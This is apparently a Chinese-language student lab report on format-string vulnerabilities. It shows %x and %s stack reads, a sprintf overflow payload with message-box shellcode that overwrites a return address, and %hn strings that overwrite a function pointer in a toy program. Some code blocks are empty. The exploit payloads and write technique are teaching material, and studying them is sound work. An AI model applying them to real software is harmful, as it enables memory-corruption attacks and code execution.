格式化字符串
目标
通过几个例子来理解格式化输出函数漏洞的利用,使用 %s
、%x
、%n
格式操作符操作内存,完成给定 shellcode 调用。
测试步骤与结果
%x
查看栈内容
代码如下
1 |
|
- 执行
printf
时,第四个%x
没有提供相应的参数,会显示该参数所在位置的栈内容。在本例为00132588h
- 此程序输出如下
%s
查看指定地址内容
代码如下
1 |
|
- 代码将要查看位于地址
0x77E61044
的内存内容。 - 前 3 个参数为提供的 3 个参数,后面的一群
%x
是为了将%s
的参数对应到地址0x77e61044
上,所以可以输出内存0x77e61044
的内容直到遇到截断符。 - 该段程序输出如下
实际操作对格式化输出函数漏洞进行利用
-
sprintf()
函数sprintf
的函数原型是这样的:int sprintf (char *buffer, const char *format, [argument] ...);
buffer
指针指向将要写入字符串的缓冲区format
格式化字符串argument
为可选参数
sprintf
函数的漏洞点在于它假定任意长度的缓冲区存在。
-
shellcode 解析
char user[]=
"%497d\x39\x4a\x42\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
"\xB8\xBB\xB0\xE7\x77\xFF\xD0\x90\x90\x90\x90";- 我们使用数组
user
作为用户的 “输入”,\x39\x4a\x42\x00
为 shellcode 的起始地址,用来覆盖函数的返回地址。\x33\xdb
开始是我们的弹框 shellcode。当调用sprintf
时,它会读取一个参数以%497d
的格式写入 outbuf,由于未提供该参数,会自动将栈地址0x0012fae0
中的值视为该参数,即0x12ff80
。需要写入outbuf
的总字符串长度为,而 outbuf
长度为512
,因此会导致栈溢出,使得函数的返回后执行sprintf()
后outbuf
的内容。
- 我们使用数组
-
漏洞利用
-
整体代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17// libraries import omitted
void mem(){
//__asm int 3
char outbuf[512];
char buffer[512];
sprintf(
buffer,
"ERR Wrong command: %.400s", user
); /* 执行完上一步后buffer[]="ERR Wrong command: %497d\x39\x4a\x42\x00" 00424a39为shellcode地址;此处仅仅就是一串nop而已 */
sprintf(outbuf,buffer);
//sprintf(outbuf,"ERR Wrong command: %497d\x39\x4a\x42\x00");
}
int main(){
LoadLibrary("user32.dll");
mem();
return 0;
} -
mem
函数中,分配了两个512
字节大小的缓冲区,并进行了两次sprintf
操作。 -
第一次
sprintf
后,buffer
(在0x424a30
)中的内容应该是"ERR Wrong command: %497d\x39\x4a\x42\x00"
,其后的内容因为有0x00
而被截断。 -
第二次执行
sprintf
,它会读取一个参数以%497d
的格式写入outbuf
,由于未提供该参数,会自动将栈地址0x0012fae0
中的值视为该参数,即0x12ff80
。 -
outbuf
起始地址为0x0012fd2c
, 19 字节的字符串ERR Wrong command:
后为 497 字节的整型数字1245056
,因此从0012ff30
开始为\x39\x4a\x42\x00
。 -
我们成功将返回地址
0x4010d1
覆盖为 shellcode 的地址0x424a39
。 -
shellcode 成功执行,弹出对话框。
-
测试结论
上述溢出程序的修改原理可以用这个图来简单表示。
思考题
源代码如下
1 |
|
main
函数中根据命令行提供的参数打开对应的文件。如果这个文件不存在,那么就调用 PrintMessage
函数打印相应的错误信息。在 PrintMessage
函数中把错误分为 GhastlyError
和 RecoverableError
两类。要想调用 foo
函数,可以通过 %n
把 fErrFunc
函数的地址修改为 foo
函数的地址。命令行参数为:%x%x…%x%x%n
+fErrFunc 函数指针的地址。snprintf
之后 buf
为 "Can'tFind%x%x…%x%x%n"
+fErrFunc 函数指针的地址,接下来由于 fprintf(stdout, buf)
中缺少了 argument
参数,所以已打出的字符总数通过 %n
被写入 fErrFunc 函数指针的地址。通过控制 %x
调整已打出的字符总数就能达到我们的目的。
- 首先传入一串
%x
argv="%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x" fErrFunc
在0x12ff18
位置上,foo
在0x401014
上,2578
是%x
的 ASCII 码。- 加上
%pABC
argv="%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC" - 我们需要把
\x18\xff\x12
放在一个可写的位置上,在前面加上.
以调整输出内容 - 现在把
%p
换为%hn
,由于多了一个h
,所以前面要少一个.
,在后面我们还要放上\x18\xff\x12
。 foo
的地址是0x00401014
,现在我们写入的值是0x0040017E
,还差 3734 个字节。这里是 3744 不是 3734,因为原来第一个
%x
打印了 6 个字节,为了对齐删掉了 4 个.
又少打印了 4 个字节,所以要把总共少打印的这 10 个字节加回去。从上图可以看出第一个%x
对应的内容是0012FF80
,只打印了12FF80
;第二个%x
对应的内容是00000000
,只打印了0
;从第三个%x
开始正常打印 8 个字节。
- 利用成功。